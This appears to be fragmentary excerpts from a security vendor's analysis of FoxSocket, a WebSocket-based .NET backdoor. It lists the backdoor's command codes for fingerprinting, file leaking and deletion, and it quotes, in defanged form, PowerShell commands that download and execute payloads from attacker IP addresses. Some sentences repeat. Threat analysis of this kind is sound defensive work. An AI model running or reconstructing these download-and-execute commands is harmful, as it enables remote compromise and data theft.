FoxSocket

The Trend Micro Vision One™ platform flagged the following suspicious PowerShell commands: "cmd.exe" /c powershell -c "iex((new-object Net.WebClient).DownloadString('hxxp[:]//185.112.144.245/a/1'))"

The activity starts with either of the following PowerShell commands being executed: "cmd.exe" /c powershell -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('hxxp[[:]]//103.228.112.246[[:]]17881/57BC9B7E.Png');MsiMake hxxp[[:]]//103.228.112.246[[:]]17881/0CFA042F.Png"

280 Deletes list of files/directories requested

the client will fingerprint the machine by extracting specific data (including the username, machine name, local IP, MAC address, and Windows version)

70 Executes WMI queries - ManagementObjectSearcher()

180 Gets current process ID/Name

the client will fingerprint the machine by extracting specific data (including the username, machine name, local IP, MAC address, and Windows version)

40 Leaks DirectoryInfo() results info for a specific directory 50 FileInfo()results info for a specific file 60 Recursive directory search

This backdoor, which we call FoxSocket, leverages WebSockets to communicate with its command-and-control (C&C) servers... It initializes a WebSocket communication with its C&C server and keeps it open by sending keepalive messages

120 DNS lookup from the victim machine

all were found to be serving two variants of another PowerShell script that acts as the main downloader for the .NET backdoor... Aside from the configuration, the payload itself is retrieved from 185.112.144[.]45/a/data .

Once this is established, a series of bidirectional messages will be exchanged between the infected machine and the selected C&C server to negotiate a session encryption key.

This gives the threat actor a more covert alternative to HTTP requests and responses traffic, which creates an opportunity for a more silent exfiltration... 130 Leaks specific file contents from the victim machine